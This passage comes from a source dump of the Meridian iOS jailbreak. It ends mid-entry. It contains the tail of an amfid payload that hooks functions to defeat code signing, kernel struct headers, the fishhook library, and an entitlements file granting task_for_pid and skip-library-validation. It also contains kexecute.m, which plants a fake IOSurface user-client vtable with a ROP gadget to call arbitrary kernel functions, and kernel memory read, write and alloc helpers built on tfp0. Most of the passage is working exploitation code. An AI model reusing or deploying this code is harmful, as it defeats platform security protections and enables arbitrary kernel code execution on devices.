you can say that again  ^^^^^^ */\n    };\n    \n    rebind_symbols(rebindings, 1);\n    INFO(\"functions have been hooked! get fucked, codesigning :-)\");\n    \n    // touch file so Meridian know's we're alive in here\n    fclose(fopen(\"/var/tmp/amfid_payload.alive\", \"w+\"));\n}\n"
  },
  {
    "path": "Meridian/amfid/ubc_headers.h",
    "content": "#include <sys/sysctl.h>\n\n/* vnode types (vnode->v_type) */\nenum vtype {\n    /* 0 */\n    VNON,\n    /* 1 - 5 */\n    VREG, VDIR, VBLK, VCHR, VLNK,\n    /* 6 - 10 */\n    VSOCK, VFIFO, VBAD, VSTR, VCPLX\n};\n\n//struct qm_trace {\n//    char * lastfile;\n//    int lastline;\n//    char * prevfile;\n//    int prevline;\n//};\n\ntypedef struct {\n    unsigned long opaque[2];\n} lck_mtx_t;\n\n//struct ucred;\n//typedef struct ucred *kauth_cred_t;\n\ntypedef struct vnode * vnode_t;\n\nstruct vnode {\n    lck_mtx_t v_lock;                           /* vnode mutex */\n    struct {\n        struct uint64_t *tqe_first;\n        struct uint64_t **tqe_prev;\n    } v_freelist;\n    struct {\n        struct uint64_t *tqe_first;\n        struct uint64_t **tqe_prev;\n    } v_mntvnodes;\n    struct {\n        struct uint64_t *tqh_first;\n        struct uint64_t **tqh_last;\n    } v_ncchildren;\n    struct {\n        struct uint64_t *lh_first;\n    } v_nclinks;\n\n    // On some earlier 10.x versions this will NOT be a kernel pointer\n    // the struct was actually 8 bytes smaller due to v_nclinks being\n    // defined via LIST_HEAD versus TAILQ_HEAD in newer xnu versions\n    // On later 10.x versions this *will* be a kernel pointer\n    vnode_t v_defer_reclaimlist;                /* in case we have to defer the reclaim to avoid recursion */\n    \n    uint32_t v_listflag;                        /* flags protected by the vnode_list_lock (see below) */\n    uint32_t v_flag;                            /* vnode flags (see below) */\n    uint16_t v_lflag;                           /* vnode local and named ref flags */\n    uint8_t     v_iterblkflags;                 /* buf iterator flags */\n    uint8_t     v_references;                   /* number of times io_count has been granted */\n    int32_t     v_kusecount;                    /* count of in-kernel refs */\n    int32_t     v_usecount;                     /* reference count of users */\n    int32_t     v_iocount;                      /* iocounters */\n    void *   v_owner;                           /* act that owns the vnode */\n    uint16_t v_type;                            /* vnode type */\n    uint16_t v_tag;                             /* type of underlying data */\n    uint32_t v_id;                              /* identity of vnode contents */\n    union {\n        struct mount        *vu_mountedhere;    /* ptr to mounted vfs (VDIR) */\n        struct socket       *vu_socket;         /* unix ipc (VSOCK) */\n        struct specinfo     *vu_specinfo;       /* device (VCHR, VBLK) */\n        struct fifoinfo     *vu_fifoinfo;       /* fifo (VFIFO) */\n        struct ubc_info     *vu_ubcinfo;        /* valid for (VREG) */\n    } v_un;\n    /* rest removed */\n};\n\nstruct ubc_info {\n    uint64_t        ui_pager;               /* pager */\n    uint64_t        ui_control;             /* VM control for the pager */\n    vnode_t         ui_vnode;               /* vnode for this ubc_info */\n    kauth_cred_t    ui_ucred;               /* holds credentials for NFS paging */\n    int64_t         ui_size;                /* file size for the vnode */\n    uint32_t        ui_flags;               /* flags */\n    uint32_t        cs_add_gen;             /* generation count when csblob was validated */\n\n    struct cl_readahead     *cl_rahead;     /* cluster read ahead context */\n    struct cl_writebehind   *cl_wbehind;    /* cluster write behind context */\n\n    struct timespec         cs_mtime;       /* modify time of file when first cs_blob was loaded */\n\n    struct cs_blob          *cs_blobs;      /* for CODE SIGNING */\n    /* rest removed */\n};\n\nstruct cs_blob {\n    struct          cs_blob *csb_next;\n    int                csb_cpu_type;\n    unsigned int    csb_flags;\n    long long        csb_base_offset;                       /* Offset of Mach-O binary in fat binary */\n    long long        csb_start_offset;                      /* Blob coverage area start, from csb_base_offset */\n    long long        csb_end_offset;                        /* Blob coverage area end, from csb_base_offset */\n    unsigned long    csb_mem_size;\n    unsigned long    csb_mem_offset;\n    unsigned long    csb_mem_kaddr;\n    unsigned char    csb_cdhash[CS_CDHASH_LEN];\n    const struct    cs_hash  *csb_hashtype;\n    unsigned long    csb_hash_pagesize;                     /* each hash entry represent this many bytes */\n    unsigned long    csb_hash_pagemask;\n    unsigned long    csb_hash_pageshift;\n    unsigned long    csb_hash_firstlevel_pagesize;\n    const           CS_CodeDirectory *csb_cd;\n    const char *    csb_teamid;\n    const           CS_GenericBlob *csb_entitlements_blob;  /* raw blob, subrange of csb_mem_kaddr */\n    void *          csb_entitlements;                       /* The entitlements as an OSDictionary */\n    unsigned int    csb_platform_binary;\n    unsigned int    csb_platform_path;\n};\n\nstruct cs_hash {\n    uint8_t         cs_type;            /* type code as per code signing */\n    size_t          cs_size;            /* size of effective hash (may be truncated) */\n    size_t          cs_digest_size;     /* size of native hash */\n    uint64_t        cs_init;\n    uint64_t        cs_update;\n    uint64_t        cs_final;\n};\n\nstruct vnode_attr {\n    /* bitfields */\n    uint64_t va_supported;\n    uint64_t va_active;\n    \n    /*\n     * Control flags.  The low 16 bits are reserved for the\n     * ioflags being passed for truncation operations.\n     */\n    int va_vaflags;\n    \n    /* traditional stat(2) parameter fields */\n    dev_t       va_rdev;                /* device id (device nodes only) */\n    uint64_t    va_nlink;               /* number of references to this file */\n    uint64_t    va_total_size;          /* size in bytes of all forks */\n    uint64_t    va_total_alloc;         /* disk space used by all forks */\n    uint64_t    va_data_size;           /* size in bytes of the fork managed by current vnode */\n    uint64_t    va_data_alloc;          /* disk space used by the fork managed by current vnode */\n    uint32_t    va_iosize;              /* optimal I/O blocksize */\n    \n    /* file security information */\n    uid_t               va_uid;         /* owner UID */\n    gid_t               va_gid;         /* owner GID */\n    mode_t              va_mode;        /* posix permissions */\n    uint32_t            va_flags;       /* file flags */\n    struct kauth_acl    *va_acl;        /* access control list */\n    \n    /* timestamps */\n    struct timespec va_create_time;     /* time of creation */\n    struct timespec va_access_time;     /* time of last access */\n    struct timespec va_modify_time;     /* time of last data modification */\n    struct timespec va_change_time;     /* time of last metadata change */\n    struct timespec va_backup_time;     /* time of last backup */\n};\n"
  },
  {
    "path": "Meridian/exportPlist.plist",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/fishhook/fishhook.c",
    "content": "// Copyright (c) 2013, Facebook, Inc.\n// All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//   * Redistributions of source code must retain the above copyright notice,\n//     this list of conditions and the following disclaimer.\n//   * Redistributions in binary form must reproduce the above copyright notice,\n//     this list of conditions and the following disclaimer in the documentation\n//     and/or other materials provided with the distribution.\n//   * Neither the name Facebook nor the names of its contributors may be used to\n//     endorse or promote products derived from this software without specific\n//     prior written permission.\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#import \"fishhook.h\"\n\n#import <dlfcn.h>\n#import <stdlib.h>\n#import <string.h>\n#import <sys/types.h>\n#import <mach-o/dyld.h>\n#import <mach-o/loader.h>\n#import <mach-o/nlist.h>\n\n#ifdef __LP64__\ntypedef struct mach_header_64 mach_header_t;\ntypedef struct segment_command_64 segment_command_t;\ntypedef struct section_64 section_t;\ntypedef struct nlist_64 nlist_t;\n#define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT_64\n#else\ntypedef struct mach_header mach_header_t;\ntypedef struct segment_command segment_command_t;\ntypedef struct section section_t;\ntypedef struct nlist nlist_t;\n#define LC_SEGMENT_ARCH_DEPENDENT LC_SEGMENT\n#endif\n\n#ifndef SEG_DATA_CONST\n#define SEG_DATA_CONST  \"__DATA_CONST\"\n#endif\n\nstruct rebindings_entry {\n  struct rebinding *rebindings;\n  size_t rebindings_nel;\n  struct rebindings_entry *next;\n};\n\nstatic struct rebindings_entry *_rebindings_head;\n\nstatic int prepend_rebindings(struct rebindings_entry **rebindings_head,\n                              struct rebinding rebindings[],\n                              size_t nel) {\n  struct rebindings_entry *new_entry = (struct rebindings_entry *) malloc(sizeof(struct rebindings_entry));\n  if (!new_entry) {\n    return -1;\n  }\n  new_entry->rebindings = (struct rebinding *) malloc(sizeof(struct rebinding) * nel);\n  if (!new_entry->rebindings) {\n    free(new_entry);\n    return -1;\n  }\n  memcpy(new_entry->rebindings, rebindings, sizeof(struct rebinding) * nel);\n  new_entry->rebindings_nel = nel;\n  new_entry->next = *rebindings_head;\n  *rebindings_head = new_entry;\n  return 0;\n}\n\nstatic void perform_rebinding_with_section(struct rebindings_entry *rebindings,\n                                           section_t *section,\n                                           intptr_t slide,\n                                           nlist_t *symtab,\n                                           char *strtab,\n                                           uint32_t *indirect_symtab) {\n  uint32_t *indirect_symbol_indices = indirect_symtab + section->reserved1;\n  void **indirect_symbol_bindings = (void **)((uintptr_t)slide + section->addr);\n  for (uint i = 0; i < section->size / sizeof(void *); i++) {\n    uint32_t symtab_index = indirect_symbol_indices[i];\n    if (symtab_index == INDIRECT_SYMBOL_ABS || symtab_index == INDIRECT_SYMBOL_LOCAL ||\n        symtab_index == (INDIRECT_SYMBOL_LOCAL   | INDIRECT_SYMBOL_ABS)) {\n      continue;\n    }\n    uint32_t strtab_offset = symtab[symtab_index].n_un.n_strx;\n    char *symbol_name = strtab + strtab_offset;\n    if (strnlen(symbol_name, 2) < 2) {\n      continue;\n    }\n    struct rebindings_entry *cur = rebindings;\n    while (cur) {\n      for (uint j = 0; j < cur->rebindings_nel; j++) {\n        if (strcmp(&symbol_name[1], cur->rebindings[j].name) == 0) {\n          if (cur->rebindings[j].replaced != NULL &&\n              indirect_symbol_bindings[i] != cur->rebindings[j].replacement) {\n            *(cur->rebindings[j].replaced) = indirect_symbol_bindings[i];\n          }\n          indirect_symbol_bindings[i] = cur->rebindings[j].replacement;\n          goto symbol_loop;\n        }\n      }\n      cur = cur->next;\n    }\n  symbol_loop:;\n  }\n}\n\nstatic void rebind_symbols_for_image(struct rebindings_entry *rebindings,\n                                     const struct mach_header *header,\n                                     intptr_t slide) {\n  Dl_info info;\n  if (dladdr(header, &info) == 0) {\n    return;\n  }\n\n  segment_command_t *cur_seg_cmd;\n  segment_command_t *linkedit_segment = NULL;\n  struct symtab_command* symtab_cmd = NULL;\n  struct dysymtab_command* dysymtab_cmd = NULL;\n\n  uintptr_t cur = (uintptr_t)header + sizeof(mach_header_t);\n  for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {\n    cur_seg_cmd = (segment_command_t *)cur;\n    if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {\n      if (strcmp(cur_seg_cmd->segname, SEG_LINKEDIT) == 0) {\n        linkedit_segment = cur_seg_cmd;\n      }\n    } else if (cur_seg_cmd->cmd == LC_SYMTAB) {\n      symtab_cmd = (struct symtab_command*)cur_seg_cmd;\n    } else if (cur_seg_cmd->cmd == LC_DYSYMTAB) {\n      dysymtab_cmd = (struct dysymtab_command*)cur_seg_cmd;\n    }\n  }\n\n  if (!symtab_cmd || !dysymtab_cmd || !linkedit_segment ||\n      !dysymtab_cmd->nindirectsyms) {\n    return;\n  }\n\n  // Find base symbol/string table addresses\n  uintptr_t linkedit_base = (uintptr_t)slide + linkedit_segment->vmaddr - linkedit_segment->fileoff;\n  nlist_t *symtab = (nlist_t *)(linkedit_base + symtab_cmd->symoff);\n  char *strtab = (char *)(linkedit_base + symtab_cmd->stroff);\n\n  // Get indirect symbol table (array of uint32_t indices into symbol table)\n  uint32_t *indirect_symtab = (uint32_t *)(linkedit_base + dysymtab_cmd->indirectsymoff);\n\n  cur = (uintptr_t)header + sizeof(mach_header_t);\n  for (uint i = 0; i < header->ncmds; i++, cur += cur_seg_cmd->cmdsize) {\n    cur_seg_cmd = (segment_command_t *)cur;\n    if (cur_seg_cmd->cmd == LC_SEGMENT_ARCH_DEPENDENT) {\n      if (strcmp(cur_seg_cmd->segname, SEG_DATA) != 0 &&\n          strcmp(cur_seg_cmd->segname, SEG_DATA_CONST) != 0) {\n        continue;\n      }\n      for (uint j = 0; j < cur_seg_cmd->nsects; j++) {\n        section_t *sect =\n          (section_t *)(cur + sizeof(segment_command_t)) + j;\n        if ((sect->flags & SECTION_TYPE) == S_LAZY_SYMBOL_POINTERS) {\n          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);\n        }\n        if ((sect->flags & SECTION_TYPE) == S_NON_LAZY_SYMBOL_POINTERS) {\n          perform_rebinding_with_section(rebindings, sect, slide, symtab, strtab, indirect_symtab);\n        }\n      }\n    }\n  }\n}\n\nstatic void _rebind_symbols_for_image(const struct mach_header *header,\n                                      intptr_t slide) {\n    rebind_symbols_for_image(_rebindings_head, header, slide);\n}\n\nint rebind_symbols_image(void *header,\n                         intptr_t slide,\n                         struct rebinding rebindings[],\n                         size_t rebindings_nel) {\n    struct rebindings_entry *rebindings_head = NULL;\n    int retval = prepend_rebindings(&rebindings_head, rebindings, rebindings_nel);\n    rebind_symbols_for_image(rebindings_head, (const struct mach_header *) header, slide);\n    free(rebindings_head);\n    return retval;\n}\n\nint rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel) {\n  int retval = prepend_rebindings(&_rebindings_head, rebindings, rebindings_nel);\n  if (retval < 0) {\n    return retval;\n  }\n  // If this was the first call, register callback for image additions (which is also invoked for\n  // existing images, otherwise, just run on existing images\n  if (!_rebindings_head->next) {\n    _dyld_register_func_for_add_image(_rebind_symbols_for_image);\n  } else {\n    uint32_t c = _dyld_image_count();\n    for (uint32_t i = 0; i < c; i++) {\n      _rebind_symbols_for_image(_dyld_get_image_header(i), _dyld_get_image_vmaddr_slide(i));\n    }\n  }\n  return retval;\n}\n"
  },
  {
    "path": "Meridian/fishhook/fishhook.h",
    "content": "// Copyright (c) 2013, Facebook, Inc.\n// All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are met:\n//   * Redistributions of source code must retain the above copyright notice,\n//     this list of conditions and the following disclaimer.\n//   * Redistributions in binary form must reproduce the above copyright notice,\n//     this list of conditions and the following disclaimer in the documentation\n//     and/or other materials provided with the distribution.\n//   * Neither the name Facebook nor the names of its contributors may be used to\n//     endorse or promote products derived from this software without specific\n//     prior written permission.\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\n// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\n// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n#ifndef fishhook_h\n#define fishhook_h\n\n#include <stddef.h>\n#include <stdint.h>\n\n#if !defined(FISHHOOK_EXPORT)\n#define FISHHOOK_VISIBILITY __attribute__((visibility(\"hidden\")))\n#else\n#define FISHHOOK_VISIBILITY __attribute__((visibility(\"default\")))\n#endif\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif //__cplusplus\n\n/*\n * A structure representing a particular intended rebinding from a symbol\n * name to its replacement\n */\nstruct rebinding {\n  const char *name;\n  void *replacement;\n  void **replaced;\n};\n\n/*\n * For each rebinding in rebindings, rebinds references to external, indirect\n * symbols with the specified name to instead point at replacement for each\n * image in the calling process as well as for all future images that are loaded\n * by the process. If rebind_functions is called more than once, the symbols to\n * rebind are added to the existing list of rebindings, and if a given symbol\n * is rebound more than once, the later rebinding will take precedence.\n */\nFISHHOOK_VISIBILITY\nint rebind_symbols(struct rebinding rebindings[], size_t rebindings_nel);\n\n/*\n * Rebinds as above, but only in the specified image. The header should point\n * to the mach-o header, the slide should be the slide offset. Others as above.\n */\nFISHHOOK_VISIBILITY\nint rebind_symbols_image(void *header,\n                         intptr_t slide,\n                         struct rebinding rebindings[],\n                         size_t rebindings_nel);\n\n#ifdef __cplusplus\n}\n#endif //__cplusplus\n\n#endif //fishhook_h\n\n"
  },
  {
    "path": "Meridian/jailbreakd/Makefile",
    "content": "TARGET  = jailbreakd\nOUTDIR ?= bin\nSRC     = $(wildcard *.c) $(wildcard *.m) $(wildcard */*.c) $(wildcard */*.m)\n\nCC      = xcrun -sdk iphoneos gcc -arch arm64\nLDID    = ldid\nCHMOD   = chmod\nCFLAGS  = -I. -I./helpers -I./mach -framework Foundation -framework IOKit\n\nall: $(OUTDIR)/$(TARGET)\n\n$(OUTDIR):\n\tmkdir -p $(OUTDIR)\n\n$(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)\n\t$(CC) $(CFLAGS) -o $@ $^\n\t$(LDID) -Sentitlements.xml $@\n\t$(CHMOD) 755 $@\n\ninstall: all\n\nclean:\n\trm -rf $(OUTDIR)\n"
  },
  {
    "path": "Meridian/jailbreakd/common.h",
    "content": "\n#define DEBUGLOG(syslog, fmt, args ...)     \\\n    fprintf(stdout, fmt \"\\n\", ##args);      \\\n    fflush(stdout);                         \\\n    if (syslog) NSLog(@fmt, ##args)\n\n#define CACHED_FIND(type, name) \\\n    type __##name(void);                \\\n    type name(void) {                   \\\n        type cached = 0;                \\\n        if (cached == 0) {              \\\n            cached = __##name();        \\\n        }                               \\\n        return cached;                  \\\n    }                                   \\\n    type __##name(void)\n"
  },
  {
    "path": "Meridian/jailbreakd/entitlements.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">\n<plist version=\"1.0\">\n<dict>\n    <key>com.apple.system-task-ports</key>\n    <true/>\n    <key>task_for_pid-allow</key>\n    <true/>\n    <key>get-task-allow</key>\n    <true/>\n    <key>platform-application</key>\n    <true/>\n    <key>com.apple.private.security.no-container</key>\n    <true/>\n    <key>com.apple.private.skip-library-validation</key>\n    <true/>\n</dict>\n</plist>\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kexecute.h",
    "content": "#include <inttypes.h>\n\n#include <mach/mach.h>\n\nmach_port_t prepare_user_client(void);\nvoid init_kexecute(void);\nvoid term_kexecute(void);\nuint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kexecute.m",
    "content": "#include <pthread.h>\n\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n#include \"offsetof.h\"\n\nmach_port_t prepare_user_client() {\n    kern_return_t err;\n    mach_port_t user_client;\n    io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(\"IOSurfaceRoot\"));\n    \n    if (service == IO_OBJECT_NULL) {\n        printf(\" [-] unable to find service\\n\");\n        exit(EXIT_FAILURE);\n    }\n    \n    err = IOServiceOpen(service, mach_task_self(), 0, &user_client);\n    if (err != KERN_SUCCESS) {\n        printf(\" [-] unable to get user client connection\\n\");\n        exit(EXIT_FAILURE);\n    }\n    \n    \n    printf(\"got user client: 0x%x\\n\", user_client);\n    return user_client;\n}\n\n// TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread\npthread_mutex_t kexecute_lock;\nstatic mach_port_t user_client;\nstatic uint64_t IOSurfaceRootUserClient_port;\nstatic uint64_t IOSurfaceRootUserClient_addr;\nstatic uint64_t fake_vtable;\nstatic uint64_t fake_client;\nconst int fake_kalloc_size = 0x1000;\n\nvoid init_kexecute() {\n    user_client = prepare_user_client();\n    \n    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable\n    IOSurfaceRootUserClient_port = find_port(user_client); // UserClients are just mach_ports, so we find its address\n    \n    IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field\n    \n    uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object\n    \n    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one\n    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel\n    \n    // Create the vtable in the kernel memory, then copy the existing vtable into there\n    fake_vtable = kalloc(fake_kalloc_size);\n    \n    for (int i = 0; i < 0x200; i++) {\n        wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));\n    }\n    \n    // Create the fake user client\n    fake_client = kalloc(fake_kalloc_size);\n    \n    for (int i = 0; i < 0x200; i++) {\n        wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));\n    }\n    \n    // Write our fake vtable into the fake user client\n    wk64(fake_client, fake_vtable);\n    \n    // Replace the user client with ours\n    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);\n    \n    // Now the userclient port we have will look into our fake user client rather than the old one\n    \n    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)\n    wk64(fake_vtable+8*0xB7, offset_add_ret_gadget);\n    \n    pthread_mutex_init(&kexecute_lock, NULL);\n}\n\nvoid term_kexecute() {\n    wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);\n    kfree(fake_vtable, fake_kalloc_size);\n    kfree(fake_client, fake_kalloc_size);\n}\n\nuint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {\n    pthread_mutex_lock(&kexecute_lock);\n    \n    // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex\n    // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.\n    // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the\n    // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed\n    // through like normal.\n    \n    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it\n    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents\n    // (i'm not actually sure if the switch back is necessary but meh)\n    \n    uint64_t offx20 = rk64(fake_client+0x40);\n    uint64_t offx28 = rk64(fake_client+0x48);\n    wk64(fake_client+0x40, x0);\n    wk64(fake_client+0x48, addr);\n    uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));\n    wk64(fake_client+0x40, offx20);\n    wk64(fake_client+0x48, offx28);\n    \n    pthread_mutex_unlock(&kexecute_lock);\n    \n    return returnval;\n}\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kmem.h",
    "content": "#include <mach/mach.h>\n\nuint64_t kalloc(vm_size_t size);\nvoid kfree(mach_vm_address_t address, vm_size_t size);\n\nsize_t kread(uint64_t where, void *p, size_t size);\nuint16_t rk16(uint64_t kaddr);\nuint32_t rk32(uint64_t kaddr);\nuint64_t rk64(uint64_t kaddr);\n\nsize_t kwrite(uint64_t where, const void *p, size_t size);\nvoid wk16(uint64_t kaddr, uint16_t val);\nvoid wk32(uint64_t kaddr, uint32_t val);\nvoid wk64(uint64_t kaddr, uint64_t val);\n\nuint64_t zm_fix_addr(uint64_t addr);\n\nint kstrcmp(uint64_t kstr, const char *str);\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/kmem.m",
    "content": "#include \"kern_utils.h\"\n#include \"kmem.h\"\n\n#import <Foundation/Foundation.h>\n\n#define MAX_CHUNK_SIZE 0xFFF\n\nsize_t kread(uint64_t where, void *p, size_t size) {\n\tint rv;\n\tsize_t offset = 0;\n\twhile (offset < size) {\n\t\tmach_vm_size_t sz, chunk = MAX_CHUNK_SIZE;\n\t\tif (chunk > size - offset) {\n\t\t\tchunk = size - offset;\n\t\t}\n\t\trv = mach_vm_read_overwrite(tfp0, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);\n\t\tif (rv || sz == 0) {\n\t\t\tfprintf(stderr, \"[e] error reading kernel @%p\\n\", (void *)(offset + where));\n\t\t\tbreak;\n\t\t}\n\t\toffset += sz;\n\t}\n\treturn offset;\n}\n\nsize_t kwrite(uint64_t where, const void *p, size_t size) {\n\tint rv;\n\tsize_t offset = 0;\n\twhile (offset < size) {\n\t\tsize_t chunk = MAX_CHUNK_SIZE;\n\t\tif (chunk > size - offset) {\n\t\t\tchunk = size - offset;\n\t\t}\n\t\trv = mach_vm_write(tfp0, where + offset, (mach_vm_offset_t)p + offset, chunk);\n\t\tif (rv) {\n\t\t\tfprintf(stderr, \"[e] error writing kernel @%p\\n\", (void *)(offset + where));\n\t\t\tbreak;\n\t\t}\n\t\toffset += chunk;\n\t}\n\treturn offset;\n}\n\nuint64_t kalloc(vm_size_t size) {\n\tmach_vm_address_t address = 0;\n\tmach_vm_allocate(tfp0, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);\n\treturn address;\n}\n\nvoid kfree(mach_vm_address_t address, vm_size_t size) {\n  mach_vm_deallocate(tfp0, address, size);\n}\n\nuint16_t rk16(uint64_t kaddr) {\n    uint16_t val = 0;\n    kread(kaddr, &val, sizeof(val));\n    return val;\n}\n\nuint32_t rk32(uint64_t kaddr) {\n  uint32_t val = 0;\n  kread(kaddr, &val, sizeof(val));\n  return val;\n}\n\nuint64_t rk64(uint64_t kaddr) {\n  uint64_t val = 0;\n  kread(kaddr, &val, sizeof(val));\n  return val;\n}\n\nvoid wk16(uint64_t kaddr, uint16_t val) {\n    kwrite(kaddr, &val, sizeof(val));\n}\n\nvoid wk32(uint64_t kaddr, uint32_t val) {\n  kwrite(kaddr, &val, sizeof(val));\n}\n\nvoid wk64(uint64_t kaddr, uint64_t val) {\n  kwrite(kaddr, &val, sizeof(val));\n}\n\n// thx Siguza\ntypedef struct {\n  uint64_t prev;\n  uint64_t next;\n  uint64_t start;\n  uint64_t end;\n} kmap_hdr_t;\n\nuint64_t zm_fix_addr(uint64_t addr) {\n    static kmap_hdr_t zm_hdr = {0, 0, 0, 0};\n  \n    if (zm_hdr.start == 0) {\n        uint64_t zone_map = rk64(offset_zonemap + kernel_slide);\n        \n        // hdr is at offset 0x10, mutexes at start\n        size_t r = kread(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));\n        \n        if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {\n            NSLog(@\"kread of zone_map failed!\");\n            return 0;\n        }\n\n        if (zm_hdr.end - zm_hdr.start > 0x100000000) {\n            NSLog(@\"zone_map is too big, sorry.\\n\");\n            return 0;\n        }\n    }\n\n    uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);\n\n    return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;\n}\n\nint kstrcmp(uint64_t kstr, const char *str) {\n\tsize_t len = strlen(str) + 1;\n\tchar *local = malloc(len + 1);\n\tlocal[len] = '\\0';\n\n\tint ret = 1;\n    \n\tif (kread(kstr, local, len) == len) {\n\t\tret = strcmp(local, str);\n\t}\n    \n\tfree(local);\n\n\treturn ret;\n}\n"
  },
  {
    "path": "Meridian/jailbreakd/helpers/offsetof.c",
